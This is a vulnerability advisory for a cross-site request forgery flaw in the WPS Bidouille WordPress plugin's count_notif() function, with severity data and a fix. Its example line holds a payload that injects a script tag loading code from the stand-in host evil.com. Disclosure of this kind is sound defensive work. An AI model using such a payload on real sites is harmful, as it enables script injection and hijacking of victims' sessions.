Cross-site request forgery in WPS Bidouille - #VU19331
Published: July 24, 2019
Vulnerability identifier: #VU19331
CSH Severity: Low
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/U:Clear
CVE-ID: N/A
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vendor: WPServeur, NicolasKulka, benoitgeek
Affected software:
WPS Bidouille
WPS Bidouille
Detailed vulnerability description
The vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in the "count_notif()" function in "/classes/plugin.php" file. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
Example:
https://example.com/wp-admin/admin-ajax.php?action=count_notif with param “number” value “<script src=//evil.com/js.js></script>“
Remediation
Install updates from vendor's website.